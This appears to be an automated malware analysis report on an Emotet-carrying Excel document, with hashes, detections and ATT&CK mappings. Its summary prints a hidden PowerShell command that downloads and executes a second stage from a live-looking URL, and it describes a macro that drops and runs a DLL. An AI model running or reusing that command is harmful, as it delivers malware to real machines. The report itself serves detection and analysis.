Emotet Office (OLE) / .XLSX malware analysis — malicious · c423de10236500a0

MALICIOUS

Office (OLE) / .XLSX

133.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 423883965dc9b38459ce1660ec135850 SHA-1: e5dfc3ce9eea64e468d8eb6e976ee93f403a206c SHA-256: c423de10236500a089b7d2d4c278d8501c0357d8ae0d15f180ffa2270b1fffb1

320 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The file contains a Workbook_Open VBA macro that utilizes CreateObject to instantiate Wscript.Shell and RDS.DataSpace. The macro then reconstructs and executes a PowerShell command. This command is designed to download and execute a second-stage payload from a list of hardcoded URLs. The ClamAV detection name 'Doc.Downloader.EmotetExcel02226-9938630-0' strongly suggests the Emotet family. The reconstructed PowerShell command is: 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://afieeti.com/b/MzAJFbjwVhV/\')"'. The macro also attempts to write a DLL to 'c:\programdata\rundll32.dll' and execute it.

Heuristics 8

ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `2371f091b169c7918c945b8974b3f60437212f84d1a9d429701826689481f8d8`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6376 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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